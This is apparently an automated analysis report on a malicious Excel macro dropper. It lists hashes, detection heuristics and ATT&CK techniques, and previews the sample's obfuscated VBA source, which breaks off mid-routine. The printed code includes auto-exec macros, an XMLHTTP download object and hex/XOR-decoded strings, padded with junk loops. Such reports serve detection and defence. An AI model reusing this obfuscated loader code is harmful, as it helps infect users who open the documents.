Office (OLE) malware analysis — malicious · 5df525cbd9ab7946

MALICIOUS

Office (OLE)

282.5 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-01-04

MD5: ed3f7389bd63fb1dd6c35279e7009046 SHA-1: 07a6e56d816bca3d733c6be0187a52e2329af8ec SHA-256: 5df525cbd9ab794673e6ce705f3706077704837e115d67788e673b18a303b578

254 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' indicates an obfuscated auto-exec VBA loader. The presence of Auto_Open and Workbook_Open macros, along with a CreateObject call, suggests the macro is designed to execute malicious code upon opening the document. The VBA script is heavily obfuscated, making it difficult to determine the exact payload, but its primary function appears to be downloading and executing a second-stage payload.

Heuristics 10

ClamAV: Xls.Dropper.Agent-6333271-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.Agent-6333271-0
VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
    Set TJOBKMBJGJF = CreateObject("MSXML2.XMLHTTP")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set TJOBKMBJGJF = CreateObject("MSXML2.XMLHTTP")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

buhIGVdfbhiFGI45f.Open Environ(XORI(Hextostring("10072609"), Hextostring("44426B59736A61"))) & XORI(Hextostring("252426013D3C3D123523271E570D1031"), Hextostring("79686854"))

Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	195722 bytes
SHA-256: `da0632ce733906e892bda0b620ced4becddae26a1b1275f34efb3ba4eb11442f`
Detection ClamAV: No threats found Obfuscation or payload: likely 250 of 348 identifiers look randomly generated (e.g. 'C62494F68704C62494F681E2E18213E0D704C624') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ЭтаКнига" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Sub Auto_Open() 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim FtESSYaZ, OyDVyQvE, TuCpnGXR As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ImLCJSRP As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For ImLCJSRP = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim hvnSoaUd As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи hvnSoaUd = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While hvnSoaUd < 77 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: hvnSoaUd = hvnSoaUd + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next ImLCJSRP 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim dKFPeeZn As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи dKFPeeZn = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While dKFPeeZn < 61 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: dKFPeeZn = dKFPeeZn + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи FtESSYaZ = " NJJVQP " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim JlvbzEOU As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For JlvbzEOU = 0 To 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ppqXPtwW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ppqXPtwW = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ppqXPtwW < 36 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ppqXPtwW = ppqXPtwW + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next JlvbzEOU 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim SXXrwEfU As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи SXXrwEfU = 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While SXXrwEfU < 84 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: SXXrwEfU = SXXrwEfU + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи OyDVyQvE = LTrim(FtESSYaZ) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim TFyXPFbC As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For TFyXPFbC = 0 To 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim VYSehlAX As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи VYSehlAX = 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While VYSehlAX < 48 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: VYSehlAX = VYSehlAX + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next TFyXPFbC 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim lpUmaXAS As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи lpUmaXAS = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While lpUmaXAS < 84 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: lpUmaXAS = lpUmaXAS + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи TuCpnGXR = RTrim(OyDVyQvE) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim OjoPZPsu As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For OjoPZPsu = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim xDUmeHBr As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи xDUmeHBr = 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While xDUmeHBr < 89 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: xDUmeHBr = xDUmeHBr + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next OjoPZPsu 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ySSzluwT As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ySSzluwT = 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ySSzluwT < 59 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ySSzluwT = ySSzluwT + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи GSAWSLAQYNT 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи End Sub 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Sub AutoOpen() 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim dEhAoyLk, KvCCxAPp, QGFUdIND As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim aglNijuq As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For aglNijuq = 0 To 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim eehDCuVh As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи eehDCuVh = 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While eehDCuVh < 53 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: eehDCuVh = eehDCuVh + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next aglNijuq 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim jcxqCydG As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи jcxqCydG = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While jcxqCydG < 77 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: jcxqCydG = jcxqCydG + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи dEhAoyLk = " WTVFNG " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim XKGsGwFx As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For XKGsGwFx = 0 To 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim RJSNcGlH As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи RJSNcGlH = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While RJSNcGlH < 48 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: RJSNcGlH = RJSNcGlH + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next XKGsGwFx 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim SNbzTUXW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи SNbzTUXW = 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While SNbzTUXW < 51 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: SNbzTUXW = SNbzTUXW + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи KvCCxAPp = LTrim(dEhAoyLk) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim wKfkMWua As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For wKfkMWua = 0 To 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim SBYnETTq As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи SBYnETTq = 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While SBYnETTq < 22 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: SBYnETTq = SBYnETTq + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next wKfkMWua 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim LilZQcig As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи LilZQcig = 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While LilZQcig < 34 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: LilZQcig = LilZQcig + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи QGFUdIND = RTrim(KvCCxAPp) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim EaNlzDOt As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For EaNlzDOt = 0 To 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim TFzDdlVg As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи TFzDdlVg = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While TFzDdlVg < 11 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: TFzDdlVg = TFzDdlVg + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next EaNlzDOt 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim vAYvJveI As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи vAYvJveI = 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While vAYvJveI < 87 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: vAYvJveI = vAYvJveI + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Auto_Open 'МРМн8ш8п 